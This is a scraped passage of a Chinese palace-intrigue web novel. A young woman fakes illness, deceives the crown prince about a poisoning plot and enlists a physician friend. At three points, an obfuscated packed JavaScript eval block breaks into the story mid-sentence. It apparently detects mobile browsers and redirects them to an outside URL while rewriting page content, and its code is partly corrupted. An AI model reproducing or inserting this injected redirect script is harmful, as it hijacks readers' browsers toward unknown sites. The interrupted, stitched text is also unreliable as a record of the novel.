出于保险起见,其中一名护卫甚至提前捂住了江御暮的嘴。 何其天真,以为她只能靠说话传递“求救”信号么? 江御暮不声不响地拆下第二颗铜珠,向头顶传来鸟叫的方向打去。 下一刻,树冠某处便飞出几只惊鸟,帮城防兵锁定了目标藏身的具体方位。 马蹄声沉重有力,踏在地上,激起阵阵水花。 两名护卫交换一个眼神,立即确定了对敌方案——由一人引开城防兵,另一人带着江御暮离开。 二人蒙上面巾,正要执行计划,却听那城防兵忽然吹出一记长哨。 不多时,四面八方就传来了相似的马蹄声,飞快向此处靠近。 一人最先赶来,远远问道:“有情况吗?” “方才我被人偷袭,估计对方此刻仍然藏在附近,不知一共几人,我便叫弟兄们赶来助阵了。” 树后两名护卫听了都觉得古怪——我们并不曾偷袭他啊……难道是江御暮存了二心,故意提醒那人?但她明明被蒙住了双眼,这怎么可能呢…… 思索之际,又有几名城防兵从附近赶来,一共四人,均手握长刀,身披铠甲。他们二人绝不是其对手,若真打起来,别说全身而退了,就是想保住性命都难。 为今之计,只有一条了——逃! 穆归礼轻功绝佳,他的护卫们也极擅此道。为了活命,二人扔下江御暮不顾,纵身往树顶一跃,打算从高处分头离开。 第一个上树的人略有优势,因城防兵尚未反应过来,顾不上阻拦,故而得以脱身。 第二个人就没有那么幸运了,上半截身体刚刚隐入树冠,就被树下的兵将一箭射穿大腿,鲜血倏地涌出,分几线涌落,顺着树干汇入满地雨水。 只听扑通一声,那人从树上直直坠落,摔倒在地,怕是活不久了。 射箭那人似乎是城防兵某支小队的队长,向手下三人发令道:“小赵老王,你们速速去追方才逃跑那人!小李,去看看树后还有没有别人藏着。” “是!”三人异口同声。 小赵老王策马而去,小李翻身下马,朝江御暮快步走来。 看到树后状况后,他连忙扶起倒在地上的江御暮,高声报告道:“队长,这有个被黑布蒙住眼睛的姑娘!好像晕过去了!” 是的,从那两人上树逃跑的那一刻,江御暮就开始装晕了。 城防兵队长闻言,也下马跑来,看清江御暮的衣着之后,他连忙蹲身确认她的脉搏,继而喜忧参半道:“箭袖碧裙,白玉木簪,铜珠腰带。看来,这就是太子命我等寻找的江家大小姐。” 小李欣喜道:“太好了!咱们可以交差了!” 队长却面露难色:“唉。找不到是麻烦事,找到了也是麻烦事。” 小李不解:“此话怎讲?找到了江小姐,咱们不就可以去太子那请功领赏了吗?” “赏你个头!”队长冲他肩膀轻打一拳,“江小姐现在昏迷不醒,无法自己行走,你要如何带他去见太子?背着去还是抱着去?” 小李不以为意:“都这时候了,您还顾忌什么男女大防呀,当然是救人要紧!” 队长摇摇头:“正常人当然会这么想了,可那太子,他——他——” 结巴两声,他终究还是没敢直说“太子不是正常人”。 即便如此,小李也听懂了被他咽下去的后半句话。 是啊,太子这么重视这位江小姐,难保对她没点特殊的心思。 万一他们带江小姐面见太子时,反而因为途中举止“越界”引得太子不快…… 到时候别说请功没有希望了,只怕还要磕头请罪呢! 想到这里,城防兵队长甚至说出了一句违背他多年原则的话:“唉,咱们队里要是有个女兵就好了。” 小李闻言,免不了幸灾乐祸一番:“女兵?当初卑职的妹妹为了在城防营里谋个差事,那可是奇招频出,连女扮男装的法子都用了。可您呢?就是不收!现在怪谁去……” 队长又锤他一拳:“什么时候了!还翻旧账!” 小李连忙告罪,又问:“那咱们怎么办啊?现成的功劳放在眼前,总不能不要了吧!” 二人都想不出办法,埋头苦思之际,忽听又有马蹄声踏雨前来。 来者不是别人,正是太子穆归衡。 他匆匆下马,顾不上撑伞,就去查看地上那具中箭坠亡的尸体。 余光瞥见有身着轻甲之人起身相迎,应当是城防兵士。 “参见太子殿下。” 一人下跪,一人未跪,只是躬着身子。 穆归礼不欲计较,摆摆手让他们平身,继而说道:“你们队里王赵二人说此地有可疑人员出没,死了一个,本宫来看看——” 说到半截,他一抬头,却见躬身那人身后背着一个姑娘。 她浑身衣裙都被雨水打湿,头发略微散乱,碎发紧紧贴在几无血色的脸上。她的双眼被黑布蒙住,双臂松垮垮垂在那人身前,一动不动。 生死不明。 穆归衡眼前忽地一白,耳中传来无边无垠的噪音。不知是雨声被周遭的死寂放大了几百倍,还是他短暂地失去了“听”的能力,只感受到浑身血液流动轰隆作响。 两名城防兵士双唇一张一合,在说什么?在分辩什么?在解释什么? 穆归衡听不见。 也不知是他们向他走过来,还是他向他们走过去。 等他被江御暮微热的体温和有力的脉搏唤醒神智,她早已被他稳稳抱起,用于蒙眼的黑布也被蹭掉。 穆归衡定定地看着她,看了许久,直到回府唤来太医,他才松开紧紧托抱着她的双臂。 石涅给两名城防兵士发完赏钱,回到屋中禀报:“殿下,他们说挟持江小姐的共有两名歹人,一死一逃。江小姐被救下时就已陷入昏迷,至于之前发生了什么,他们一概不知。” “嗯。”穆归衡看似十分平静,“去吧。” “是。” 石涅离开以后,屋中便只剩装晕的江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13062483|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 御暮、沉默的穆归衡、与惴惴不安的陈太医。 陈太医做了多年院首,医术不可谓不高超,经验不可谓不丰富。 可是此时此刻,他却游走在栽跟头的边缘线上。 无论如何,他也诊不出江御暮的身体有何毛病。依脉象来看,她现在应该健康得能下床耕两亩地,可是为什么!为什么她就是醒不过来呢!? 穆归衡静静坐在一旁等着,很有耐心,并不出言催促。 可他越是这样,陈太医心里越是没底。 怎么办,要说实话么?不不不,太子肯定会认为他是庸医,搞不好还要治他一罪。 保命?还是保持诚实?这个选择一点也不难做。 “启禀殿下……”陈太医拱手起身。 穆归衡也急切站起,眸中满是忧虑:“情况如何?” 陈太医柔声宽慰道:“江小姐没有大碍,只是淋雨着凉,染上风寒,外加受了些惊吓,才陷入昏迷。只要多休养休养,便无事了。” 穆归衡这才把心放下一半,忙嘱咐太医带人开方熬药,另遣石涅赶往江府,将此事告知江御暮的父亲。 一碗药还没熬好,江淮照就赶到了太子府。 穆归衡知道他对自己多有误解,便也不在他面前碍眼,很识趣地找理由离开,留这位父亲亲自照顾女儿。 关门声落定后,江淮照伸手探了探江御暮的脉搏,紧蹙的眉头渐渐舒展。 “他们都走了,现在,这屋里只有你我二人。”他用极轻的声音说道。 江御暮这才睁开眼,只是没有起身,仍然躺在暖和的被窝里跟他说话。 她没有解释来龙去脉,开门见山道:“安王穆归礼派人往江府送了一个大箱子,父亲可见着了?” 江淮照忍住好奇心,不追问,只回答:“是有这么回事,我让他们把箱子抬进你院里了,没敢声张。” 江御暮点点头道:“那箱子里装的是个人。” 江淮照大惊,倒吸一口凉气,没忍住追问道:“什么人?” “有用的人。”江御暮面不改色,“劳烦父亲多加关照,别让他死了,也别让他逃了,更别让他与外界的人有什么交流。” 江淮照牢牢记下:“明白。那我现在……?” “尽快回去,只替我看住那人,旁的事什么也不用操心。” “是。” 江淮照领命而去。 江御暮闭上双眼,不去看他的背影。 唯恐多看一眼,心中便生出不忍,把江连镜被擒为质的事透露给他。 他是江淮照的亲生骨肉,一旦陷入危机,必定使其意乱心慌。 也罢,就等她把人救出来以后,再告诉他吧。 江淮照离开以后,不多时,穆归衡就回到了屋中。 随他一起进来的,还有一股药汤的苦味。 “该喝药了。”他说。 对她说,或者对空气说。反正不会收到任何回应,都一样。 “我还以为,你父亲会多留一会。” 可是,他为什么这么快就找借口离开了呢? 女儿病着,昏迷着,他却只来看了几眼,仿佛走个过场。 他真的关心这个女儿吗? 穆归衡后知后觉,想起江御暮住的那间偏院,没有丫鬟,没有仆从,只有她一个人,孤零零地住着。 她……在江府过的究竟是何种日子呢? 他一边思索着,一边轻轻吹着瓷勺里的药汤,直到温度适宜,才往她唇边送去。 时机差不多了,可以醒了。 江御暮任他喂下几勺苦药,继而猛地咳嗽起来。 穆归衡连忙放下药碗,帮她顺气。 江御暮缓缓睁开眼,对上他近在咫尺的清澈双眸。 “好苦。” 她尽量微笑着,声音没什么力度。明明是最寻常的平静语气,穆归衡却总觉得自己听出了一点撒娇的味道。 “能不能……不喝药啊……” 18. 苦药难喂心病难医,旧事难忘杀机难…… “不能。” 穆归衡回答得不假思索。 “病了就得喝药,没得商量。” 说着,他又将一勺药汤送到江御暮唇边。 江御暮知道自己没病,但是为了把戏演下去,这药肯定不能不喝。 罢了,反正也是治风寒的药,喝不死人。 下定决心后,她屏住呼吸,躲开几寸,讨价还价道:“那你把碗给我吧,我自己喝。” 穆归衡动作一顿,小心翼翼将瓷勺放回碗里,略微低下了头。 “在你们那个朝代……朋友之间,不能给对方喂药吗?” 江御暮慢慢支起上半身,解释说:“那倒不是……” 穆归衡眼疾手快,帮她在腰后垫起几个软枕。 江御暮倚靠软枕而坐,继续说道:“这药实在太苦了。要是一勺一勺地喝,我岂不是得捱许久的苦?不如一口气喝完整碗,嘴里苦一下就过去了。” 穆归衡似乎觉得这个说法很有道理,于是将药碗递给了她。 江御暮将这碗药汤一饮而尽,被苦味激得五官紧缩。片刻后,她睁开眼,就看到穆归衡从小小的油纸包里取出一颗牛乳糖,放在瓷碗里。 江御暮会心一笑,用瓷勺把糖块拨入口中,漾开一片甜意。 “多谢。”她说。 穆归衡勉强回以一笑,脸上的沉重神色仍未散去。 江御暮把药碗放在床边的木架上,主动问道:“想什么呢?愁眉苦脸的。” “没什么。”穆归衡显然在说假话,“你先好好休息,其他任何事都不必费心,交给我就好。” “交给你?”江御暮不解,“把什么事交给你?” 穆归衡对上她的眼神,十分笃定道:“红霞说,挟持你的那人戴着面具,衣料华贵。我想,他应该就是穆归礼吧。” 江御暮点点头,如实答道:“没错,是他。” 穆归衡语气严肃,面上显出极少在她面前表露的戾气:“哼,果然如此,我看他身上的疯劲愈发大了!若不彻底铲除了他,必将遗祸无穷!” “铲除?” 江御暮心中一喜。她暗戳戳引导这么久,穆归衡终于对穆归礼生出杀意,不再轻饶素放了! 只要除掉穆归礼,他的太子之位就能坐得更稳,与之对应的,她的复国之路也能走得更顺。 另外,安王妃纪青元也能得到解脱和自由。江御暮欠她一个人情,也欠她一句尚未兑现的承诺。 “你预备如何铲除他?”她问。 穆归礼恢复了温和的表情,帮她掖了掖被子,低声道:“别问了,安心休养。” “我必须问!”江御暮按住他的手腕,“太子殿下,您还不知道吧——臣女现在已经是安王殿下的人了。” 话音方落,她就在他眼里看到了强烈的震惊,仿佛听到了这世间最不足为信的奇闻。 紧接着,江御暮又反应过来这话有些歧义,连忙再加上一句补充说明。 “不,我是说……臣女现在已经是安王一党的人了。” 穆归衡狐疑地直视她真诚的双眼,几度张口都问不出问题,最后只发出一声轻飘飘的语气词:“啊?” “你没听错。”江御暮一本正经地胡说八道,“今日我遭人挟持、淋雨生病、昏迷被救,这一切的一切,都是安王替我设计的一出苦肉计,目的就是让我进一步获取你的信任。” 不好意思,穆归礼,你就帮她把这口大黑锅背下来吧,反正你也不是什么好东西。 穆归衡却从她的话中找到了明显的漏洞:“可他怎么能确保我会及时发现你已失踪,又怎么能确保我一定会派人搜救?” 江御暮以不变应万变,回以一个只能自由心证的答案:“你也说了,他身上有股疯劲,疯子做事怎么会有严密的逻辑呢?今日之事,只要有一丝丝成功的可能性,他就愿意去赌了。” 穆归衡暂且接受了这个说法,又问:“你既说自己‘现在已经是安王一党’,就说明以前并不是。那么,你倒戈的时间与契机是什么?” 他看得出她的态度,更能感受到她对穆归礼真实深切的厌恶。正因如此,他并没有相信她自述“已经投靠安王”的言论。 一定有其他原因的,他想。 江御暮深吸一口气,面露自责自愧之色,回答道:“时间就在一个多时辰之前。至于契机……” 她抬起头,望向穆归衡的眼中满是担忧。 “穆归礼抓走了我弟弟,还将他囚禁起来。我若不答应替他做事,我弟弟的性命就保不住了。” 穆归衡眉头一拧,心下了然—— 果如所料,她是被穆归礼威胁的。 “他要你替他做什么事?”穆归衡问。 江御暮与他眼神相接,直言道:“下毒杀你。” 穆归衡沉默片刻,避开她的眼神,问道:“为什么要告诉我这些?” 他对她从未设防,如果她真打算在他的饮食中下毒,他定然难逃此劫。 江御暮轻轻握住他几根手指,柔声道:“因为不想你死。” 他死了,她还能去哪里找来一块如此合适的跳板呢? 穆归衡心弦一动,下意识去看她的眼睛。可她却低着头,将眼底的情绪全然藏了起来。 他不再迟疑,反握住她的那只手,却做不到心口合一,别别扭扭试探道:“你有那么多朋友,死我一个,换你弟弟活命,也挺值——” “呸呸呸!”江御暮脸上泛起怒色,急匆匆打断他的话,“你还好意思说穆归礼疯呢?我看你们穆家人身上多少都沾点疯劲,你也不例外!怎么能如此口不择言,什么晦气话都说!” 虽然挨了她一顿骂,穆归衡的心情却比方才轻松了不少,甚至隐隐有些欢畅。 “我知错了。”他轻轻晃一晃与她交握的那只手,“我保证,以后再不说这种话了。” 江御暮抽出手,攥着被子转过身去不看他,故意嗔道:“爱说就说去,谁乐意管你!” 穆归衡拽两下她的被角,没有回应。 他微微一叹,俯身靠近她些许,问道:“你弟弟被囚禁在哪?可有什么线索?” 江御暮这才有了动作,回身摇摇头,煞有介事道:“穆归礼只让我见了他一面,确认他还活着之后,就让手下把他带走了,其余什么线索都没有。” 穆归衡慎重其事道:“我现在就去安王府找穆归礼,逼他放人之后,再杀之以除后患。” 江御暮没想到他的计划如此简单粗暴,不由一惊,连忙拽住他的衣袖,劝阻道:“万万不可!你若如此鲁莽行事,传到陛下耳中,定然难逃死罪!” 穆归衡却冲她笑了笑,安慰似的:“你不了解我父皇,他对皇子的溺爱之深,堪称荒唐。” 江御暮奇道:“怎么说?” “你可曾听闻,我大皇兄出家为僧一事?”他问。 “有所耳闻。”她所知不多,“只听说他二十余岁时,因王妃病逝而悲伤过度,索性斩断尘缘,出家为僧了。” 穆归衡一字一顿:“不,他死了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079378|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“死了?”江御暮着实惊讶 “而且死在大皇嫂之前。”穆归衡面色沉重,“凶手正是二皇兄,这是宫墙之内人尽皆知的秘密。” “陛下也知道?”其实江御暮问出这个问题的时候,心里就已经有答案了。 果不其然,穆归衡重重一点头,接着说道:“他不仅知道,还下旨封锁消息,帮二皇兄洗刷了一切罪责。” 江御暮无法理解:“他为什么要这么做?即便溺爱二皇子,可大皇子不也是他的亲生儿子吗?” 穆归衡讽刺般苦笑一声:“正因为手心手背都是肉,既然大皇兄之死已成定局,无可挽回,他又怎么舍得再失去一个孩子呢?” 江御暮追问:“可是,即便他不忍心让二皇子偿命,难道不能让他接受死刑以外的惩罚吗。如此轻轻揭过,当作无事发生,大皇子岂不是白白死了?” 穆归衡眸光微动,透出不忍,叹息道:“不,他将另一个人视作罪魁祸首,下令杀之,以告慰大皇兄的在天之灵。” “什么人?” “无辜的局外人,大皇嫂。” 穆归衡用力闭了闭眼,仿佛不愿回忆。可既然江御暮问了,他又怎么能不为她解惑呢? “二皇兄之所以对大皇兄下手,就是因为他曾在宫宴上对皇嫂一见钟情。大皇兄死后,他甚至向父皇陈情,求娶寡嫂。” 接下来的事,即便他不言明,江御暮也能猜到—— 皇帝偏执地将那个无辜的女人视作红颜祸水,认为她才是导致两位皇子手足相残的罪魁祸首。 所以,他毫不犹豫地处死了她。 如此,既可告慰大皇子的在天之灵,又可为二皇子开脱一切罪责——他不是故意伤害兄长的,只是被狐狸精迷住了心智。 皇帝仍然维持着理想中的和睦家族,兄友弟恭,父慈子孝,共享天伦之乐。 江御暮努力消化这些信息,问道:“你重提这桩旧事,就是为了告诉我,即便你亲手杀了穆归礼,陛下也不会让你偿命?” “是。”穆归衡坦然道,“所以你不必忧心。” 江御暮怎么可能不忧心。 “不,陛下也许不会杀你,但是一定会动易储之心,夺去你的太子之位!” “我不在乎!”穆归衡高声说道。 半晌沉默后,他又将声音放轻,认真告诉她:“这个太子之位,我从来都不在乎。有时候,我甚至会觉得——也许不做太子,反而是一件好事。也许我的一切痛苦,都源于这个一人之下的太子之位。” 他似乎已经打定了主意。 “所以,你不必再劝。就让我去吧,好吗?” 话已至此,江御暮好像已经失去了继续阻拦的理由。 可是,如果放任事情这样发展下去,叫她如何能甘心? 一旦穆归衡被废去太子之位,她此前做的所有努力,不就全都付之东流了吗? 不,绝对不行! 眼看穆归衡已经站起身来,拔腿向门外走去,江御暮把心一横,翻身下床追出几步。 “不能去!” 穆归衡脚步一顿,轻叹着转过身来,却见她追得太急,没顾上穿鞋,直接踩上了冷冰冰的木地板。 唉,本来就病着,还这么不注意,又该着凉了。 “先上床,把被子盖好。”他折返回来,认真嘱咐道。 江御暮却没有移步,抬头定定地看着他,声音带着细微的颤抖:“你若就这样杀了穆归礼,就不怕……我落得和你大皇嫂一样的下场吗?” 19. 穆太子心乱生愧悔,江小姐秘请新…… 这句话使穆归衡表情一僵,心头霎时涌起一阵后怕。 是啊,如果他现在贸然铲除穆归礼,万一皇帝查明二人纠葛,发现中间还牵扯着一个江御暮,只怕……她就会变成天子之怒唯一的牺牲品了。 想到这里,穆归衡又在心里暗骂自己冲动鲁莽,怎么头脑一热,就连如此可怕的后果都忽视了呢? 江御暮轻握他两边手腕,沉着道:“此事绝不能冒进,咱们还是徐徐图之吧。” 穆归衡却无法完全冷静下来:“可是只要多拖一日,你弟弟的性命就多一分危险啊。” 江御暮宽慰道:“不,咱们还有时间。” 说着,她从荷包里取出装着毒药的小瓷瓶,解释道: “这是穆归礼给我的,据他所说,这种奇毒不会立即发作,服下三日后才会频繁咳血,至多一月而亡。” “为了拖延时间,我提出要先亲眼见证此毒发作的过程,确认自己有机会洗清嫌疑之后,再对你下手。” “穆归礼就抓出一个贴身护卫,强行喂他半瓶药后把他打晕,说是要送进江府,供我验看。” “我本想着,我手上这半瓶毒药便是物证,那名护卫已与穆归礼反目成仇,可做人证。双管齐下,有很大希望能定下穆归礼意图谋害太子之罪。到时陛下若能亲自下旨搜查,我弟弟便也能被救出来了。” “只可惜……我不知陛下对皇子们的纵容竟然到了如此地步,现在想想,就算穆归礼对一切罪孽供认不讳,陛下也舍不得问责于他吧……” 穆归衡听着听着,不由在心中暗叹她思虑周全,在那般险境中还能应对自如,甚至主动引导对方把证据送到她手里。 接着,他又惋惜起来:“我父皇但凡能多几分贤明,咱们也不会被困于眼下这般进退两难的境地了。” 好好的“锄恶”计划惨遭腰斩,对江御暮而言,若说丝毫不懊恼,那肯定是假的。 但她从不会沉溺于负面情绪之中,不论情况如何变化,她都要努力抢在所有人之前,先一步做出新的计划。 “事到如今,也许只有一个办法能救出我弟弟了。” 语毕,江御暮愁眉不展,低下头,几度欲言而嗫嚅。 待穆归衡催问以后,她才像是终于有了开口的勇气,一揽裙摆跪在了他面前,作势欲拜。 穆归衡大惊,连忙蹲下身去扶她,同时出言阻拦:“你这是做什么?快起来!” 江御暮却坚持不起身,穆归衡无法,索性“以其人之道还治其人之身”,也跪在了她的面前:“你有什么话,直说便是!何必如此折煞我呢?” 江御暮眼眶微红,泪珠将落未落,楚楚可怜:“我这个请求实在冒昧,若不诚心跪请,只怕你——” “瞎担心什么?”穆归衡打断她的话,“再冒昧,还能比得上我当初‘强抢民女’那样冒昧么?” 江御暮这才破涕为笑,擦干眼泪说道: “既然那毒三日后便会发作,想必穆归礼等我验证完效果,至多再过一两日就会来催我动手。” “到时候我就假意答允,尽快来你府上走个过场。” “你若愿意相助,便在咱们见面三日后假装毒发,对外只称咳血之症忽然加重,病得卧床不起就好。” “待穆归礼误以为你真的已经中毒,我就想办法再跟他谈谈条件,即便不能逼他提前放人,至少也可以提出和我弟弟再见一面,说不定还能找到他被囚禁在何地的线索。” 穆归衡听罢,没有丝毫迟疑就答应了下来。 对他而言,江御暮的这个请求和“冒昧”二字完全搭不上边。 话又说回来,即便她提出的要求再荒唐,他也不会拒绝。 毕竟江御暮若非受他牵累,也不会被穆归礼盯上,扰得她家宅不宁。 正因如此,穆归衡嘴上说是愿意“帮”她救出弟弟,心里却早已把这件事视作自己应当承担的责任了。 计划初步商议完成后,时间已经很晚了,江穆二人一起吃过饭,雨还没有停,只是势头稍有减弱。 穆归衡提议道:“你还病着,不宜出门。若不介意,今夜就在我府上暂住一晚吧。” 江御暮一手支在桌子上,撑着下巴笑道:“我若真在这府上留宿,你信不信,明日一早我父亲就会打上门来,逼你将我迎为太子妃。” 穆归衡一怔,垂眸告罪道:“是我考虑不周,忘了姑娘家的名声……” 江御暮点到为止,没有多言,看似云淡风轻地揭了过去。 但她知道,只要浅浅地铺垫一句,凭穆归衡那种性格,他自己会往深处多思几层的。 果然,自打聊过这个话题,他就变得有些心神不定。 送江御暮回家时,二人并肩坐在马车上,有一搭没一搭地聊着天,他也时而走神,不知思绪飘去了哪里。 临别时,他又一次在江御暮掀起车帘之前拦住了她。 “这次也有话要说?”她问。 穆归衡点点头,似乎纠结了很久才下决心开口。 “我……在民间风评极差。从前有些事,是我疏忽了,方才姑娘倒是给我提了个醒。从今以后,为了你的名声考虑,咱们明面上还是不要来往了。” 这番话恰在江御暮的意料之内,她听罢立刻摆出一副错愕的表情。 “你最近是听到什么风言风语了吗?” 穆归衡摇摇头:“无人敢让那种不中听的话传进我耳朵里。但,我也曾在江湖中活过一世,仔细想想,便不难猜到各路宵小会如何议论你我二人。只怕……姑娘你已经承受了明里暗里的许多蜚语恶言。” “是啊。”江御暮毫不讳言,“各路不堪入耳的流言,我都已经听过许多遍了。” 穆归衡眼中满是自责,甚至有些羞愧地垂下了头,暗骂自己行事不知轻重,为她引来许多脏水。 “抱歉。”他有许多话想说,可是涌到嘴边,又尽数化成了这两个字。 江御暮坐回他身边,捏住他两边脸颊,强行让他与自己对视,继而轻松一笑,面上毫无郁郁之色。 “你瞧我,像是会为那些流言苦恼的样子么?” 穆归衡心道不像,但是仍然不能宽心,继续说道:“即便你自己毫不在意,可是你的朋友会悬心,你的家人会苦恼,还有你的……” 他想说,还有她未来的夫君会误解。 不知为何,看着她晶亮的双眼,对上她专注的眼神,这后半句话,他竟说不出口。 江御 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097655|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暮却不让他含混过去,追问道:“还有什么?” “还、还有——” 穆归衡不擅长说谎,在心里编织谎言时,嘴上总是不知不觉地结巴起来。 “还有、我——” 完蛋。 穆归衡在心里骂自己口不择言。 这个时候,就算迟迟想不出其他答案,也不能往自己身上扯啊!这要怎么接着往下编? 江御暮饶有兴致:“你怎么样?” 穆归衡闭上眼不去看她,索性直言道:“我会愧疚。” 这倒是一句实话。 江御暮则借着他这句话,反过来将了他一军。 “既然如此,咱们以后就更得继续光明正大地来往了。” 穆归衡疑惑睁眼:“却是为何?” 江御暮解释道:“如此行事,旁人最多议论几句‘太子与江小姐有私情’。可咱们要是突然在明面上断了联系,他们肯定会认为是你‘抛弃’了我。到那时,他们议论我的话语可就要比现在粗俗许多,甚至恶毒百倍了。” 说着,她轻轻拍了拍穆归衡的肩膀。 “所以,你不必瞻前顾后。咱们是朋友嘛,既然问心无愧,就没有为了躲避流言,故意偷偷摸摸私下来往的道理。” 穆归衡相信她不在意这些流言,也明白她心中确然坦坦荡荡。 可是……他呢? 当真问心无愧吗? 然而他不知道的是,江御暮的话里也掺了些水分—— 纵然问心无愧,可是有些朋友,她还真就得偷偷摸摸,私下来往,不教旁人发现踪迹。 回到江府,她没有立刻去见朋友,而是先回屋换了身衣服,静等太子的车马走远。 在此期间,江御暮还去看了看时异。 他被江淮照安置在她院里的偏房,此刻还未从昏迷中醒来,手脚仍然被捆着,嘴也被死死堵上,外头还紧紧缠着几圈黑布,防止他苏醒以后用舌头将堵嘴的布团顶出来。 江御暮锁好门,披上黑色斗篷,只用斗笠遮雨,一圈厚实的纱帘垂下来,完全遮住了她的面容。 她没有走正门,直接翻墙而出,几乎溶进了漆黑无灯的夜色之中。 此刻已近子时,又下着雨,街上的店铺大多关了门。 江御暮快步来至一家医馆,木匾有些旧,看得出这家店年资颇深,匾上“杏林医馆”四个大字显然掉过漆,后来又补上了新的。 她见有暖融融的灯光从窗纸渗出,便知里头有人,于是没有敲门,直接推门而入。 医馆里只有一位头发全白的老妇人,精神矍铄,正坐在柜边拨算盘。 听到门板响动,老妇人一抬头,见来者是江御暮,她慈和一笑,打趣道:“浑身黑压压的,我还以为是林子里的黑熊成了精,来我们医馆找山参吃呢。” 江御暮摘下斗笠,跟老掌柜问了好,接着又问起:“费大娘,鸿影在吗?” 费掌柜放下算盘,笑道:“在是在,可是已经睡着了。她的脾气你是知道的,要是大晚上被吵醒,肯定不会有好脸色。” 江御暮回以一笑,向内室走去,边走边说:“放心吧,我给鸿影带了一份大礼,少说也能挣到三分……不,五分薄面。” 20. 飞鸿影夜诊重病患,丧家犬毒发劫…… 医馆内室,费红英睡得正香。江御暮侧耳细听,发现她用极小的声音说着梦话,再辨内容,原来她是在梦里给病人开药方呢。 江御暮坐在床边,轻轻推了推缩在被窝里的费红英,动作小心翼翼——明明就是为了叫醒她,却又像是害怕弄醒她。 费红英在梦里感觉到有人推搡,模糊不清的画面中立时出现一群嗷嗷待治的病人,都不排队,争先恐后地挤到她面前。 “别、别挤……”费红英小声劝导,“都能……治……” 江御暮见她迟迟不醒,索性凑到她耳边,低语道:“飞鸿影,别睡了,醒醒嘛!” “飞鸿影”是江御暮对她的昵称,从小叫到大。费红英表面上未作出任何评价,其实心里喜欢得紧。 切实地听到江御暮的声音,她这才悠悠告别梦乡,将双眼睁开一条缝。 “天亮了吗?”她问。 睡前下着雨,醒来雨未停。费红英头脑尚未完全清醒,视线也没有恢复清晰,只知窗外不见天光,却不好判断现在是夜晚,还是阴云密布的昏暗清晨。 江御暮赔了个笑脸,仿佛自知理亏:“离天亮还有好几个时辰呢。” “怪不得!我就觉得没睡够……”费红英揉着眼睛,不悦道,“这三更半夜的,你来找我干什么?” “给你送一份大礼。”江御暮说。 “什么礼?”费红英被勾起了好奇心,困意随之消散不少。 江御暮正色道:“一个身中奇毒的病人。” 她知道,相较于寻常医理,费红英其实更爱钻研世间百毒。 先前从地里刨出来半只毒蝎子,她都能废寝忘食地研究一天两夜。 现在若能把一个身中奇毒的大活人放在她面前,难道还不够打消她一夜睡意的么? 果不其然,费红英一听“奇毒”二字就双眼放光。也许是心理作用,江御暮甚至觉得在这一刻,她脸上的黑眼圈都淡去了不少。 “你先说说,是什么样的毒?”她翻身而起,盘腿坐在床上,将棉被裹成了粽子形状,自己充当肉馅。 江御暮一五一十地转述了穆归礼对那种奇毒的所有描述。末了还掏出装毒药的瓷瓶,放心地交给了费红英。 费红英没有急着查看,先给她打了一剂预防针:“咱可说好了,这种毒我闻所未闻,一个月的时间,未必能救下中毒的那位病人。” “无所谓。”江御暮不甚在意地耸了耸肩,“现在,不论那人是死是活,对我都没什么用处了。我把他交给你,单纯就是送个礼,赚个人情。” 费红英听出了这段话的隐含意义,眯眼问道:“赚来人情,用在哪里?莫不是……你还有别的事求我相助?” 江御暮微笑点头,大方承认:“其实,这事若能做成,也不算你单方面帮我,应该算是互利共赢。” 费红英听罢更有兴致,连连催问,让她不要再卖关子。 江御暮对她耳语几句,简明扼要地讲清了自己今日才定下的新计划。当然,叙述时隐去了许多关键内容,只留下需要费红英参与的一条暗线。 “怎么样,做不做?”江御暮问。 “这还用问?”费红英甩开被子,动作麻利地穿上外衣,“你既已铺好了路,我岂有不走之理!” 夜半子时,二人前后脚翻墙进入江府。 之所以有一点时间差,皆因费红英从未学过武艺,要等江御暮回府后帮她搭起梯子,才能翻过院墙。 偏房之中,时异已然醒来,整个人被捆在柱子上,不知是因为无法脱身才面如死灰,还是因为久久不能从沦为弃子的阴影中走出,才心如槁木,放弃了挣扎。 “就是他么?”费红英牢牢抱着医药箱,从门外探头问道。 “是。”江御暮带她一起走进屋,“交给你了。” 时异面露惊疑,上下打量着费红英,见她从木箱里取出一包长针,还以为自己要被施以酷刑,连忙叫喊起来。 只是他的嘴已被牢牢堵住,喊不出清晰的字眼,声音也十分嘶哑。 费红英展开针包,蹲在时异面前,带着调侃之意自我介绍起来:“我是个郎中,又不是酷吏,你怕什么?以为我会用这些针扎你眼睛么?” “昂工?”时异口齿不清道。 费红英抬头看向江御暮,征求她的意见:“能不堵他的嘴吗?行医讲究个望闻问切,我总不能光望闻切啊。” 时异也把目光转向江御暮,没想到正好与她对视。 “不堵你的嘴,你可别瞎叫唤啊。”她说,“这大晚上的,容易扰人清梦。” 